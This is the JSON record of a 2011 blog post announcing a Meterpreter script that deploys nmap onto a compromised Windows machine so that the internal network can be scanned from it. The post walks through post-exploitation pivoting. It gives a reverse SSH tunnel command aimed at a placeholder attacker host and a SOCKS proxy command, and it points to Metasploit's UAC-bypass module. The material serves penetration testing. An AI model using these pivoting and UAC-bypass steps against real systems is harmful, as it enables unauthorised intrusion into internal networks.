{"id":525,"date":"2011-08-08T20:00:58","date_gmt":"2011-08-09T01:00:58","guid":{"rendered":"http:\/\/zitstif.no-ip.org\/?p=525"},"modified":"2011-08-08T20:00:58","modified_gmt":"2011-08-09T01:00:58","slug":"meterpreter-script-deploy_nmap-rb","status":"publish","type":"post","link":"http:\/\/zitstif.no-ip.org\/?p=525","title":{"rendered":"Meterpreter script &#8211; deploy_nmap.rb"},"content":{"rendered":"<p>Using a &#8216;trusted&#8217; host that you have compromised as leverage during a pentest, is nearly always advantageous. I personally believe that the steps of pentesting change in a sense, once you have a session on a computer in an internal network from an external computer.<\/p>\n<p>I would revert back to reconnaissance (depending on the circumstances), since the point of view has changed. The hijacked host is &#8220;your man on the inside&#8221;, and what a better way to give the &#8216;man on the inside&#8217; some &#8216;eyes&#8217; by deploying and using nmap!<\/p>\n<p>One means of using nmap through the compromised host includes:<\/p>\n<p>1.) Deploying an openssh server on the victim machine<\/p>\n<p>2.) Setting up an account<\/p>\n<p>3.) Reversing an ssh session like so: ssh -R 2222:localhost:22 attacker@attackersbox.com<\/p>\n<p>4.) Then you would connect back to the victim using a socks5 proxy: ssh -D 9050 victimaccount@localhost -p 2222<\/p>\n<p>5.) Lastly, you would use nmap and proxychains from the attacker&#8217;s host to scan hosts internally through a tunnel between you and the victim machine.<\/p>\n<p>Keep in mind that the Metasploit framework has an auxiliary module &#8220;auxiliary\/scanner\/portscan&#8221;, which you can use but let me be quite frank, it doesn&#8217;t compare to what is known as the &#8216;king of all port scanners&#8217; nmap. (No offense Metasploit crew.)<\/p>\n<p>This is why I programmed a meterpreter script that downloads the latest stable version of nmap from www.insecure.org and then deploys nmap onto the victim&#8217;s machine. You could then use the victim&#8217;s machine to do vulnerability scanning with nmap&#8217;s scripting engine. (i.e. nmap &#8211;script=smb-check-vulns).<\/p>\n<p>The script has a removal feature that will uninstall nmap and winpcap from the victim&#8217;s machine. Please e-mail me or comment if you have any questions, concerns or problems with the script.<\/p>\n<p>NOTE: On versions of Microsoft Windows that use the UAC service, you will most likely need to disable or circumvent this service to successfully deploy nmap.\u00a0 Luckily there is a module with the Metasploit framework that will help you (post\/windows\/escalate\/bypassuac).<\/p>\n<p><a title=\"http:\/\/zitstif.no-ip.org\/meterpreter\/deploy_nmap.txt\" href=\"http:\/\/zitstif.no-ip.org\/meterpreter\/deploy_nmap.txt\" target=\"_blank\">http:\/\/zitstif.no-ip.org\/meterpreter\/deploy_nmap.txt<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Using a &#8216;trusted&#8217; host that you have compromised as leverage during a pentest, is nearly always advantageous. I personally believe that the steps of pentesting change in a sense, once you have a session on a computer in an internal network from an external computer. I would revert back to reconnaissance (depending on the circumstances), &hellip; <a href=\"http:\/\/zitstif.no-ip.org\/?p=525\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Meterpreter script &#8211; deploy_nmap.rb<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,425,3],"tags":[439,438,451,442,28,440,444,445,391,441,449,175,448,446,443,450,64,447],"class_list":["post-525","post","type-post","status-publish","format-standard","hentry","category-code","category-meterpreter-scripts","category-posts","tag-deploy-nmap","tag-deploy_nmap-rb","tag-exploit","tag-man-in-the-inside","tag-metasploit","tag-meterpreter-nmap","tag-microsoft","tag-microsoft-windows","tag-nmap","tag-nmap-meterpreter","tag-nmap-scripting-engine","tag-pivot","tag-scripting-engine","tag-smb-checkv-vulns-nse","tag-victim-machine","tag-vulns","tag-windows","tag-winpcap"],"_links":{"self":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/525","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=525"}],"version-history":[{"count":6,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/525\/revisions"}],"predecessor-version":[{"id":531,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=\/wp\/v2\/posts\/525\/revisions\/531"}],"wp:attachment":[{"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=525"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zitstif.no-ip.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}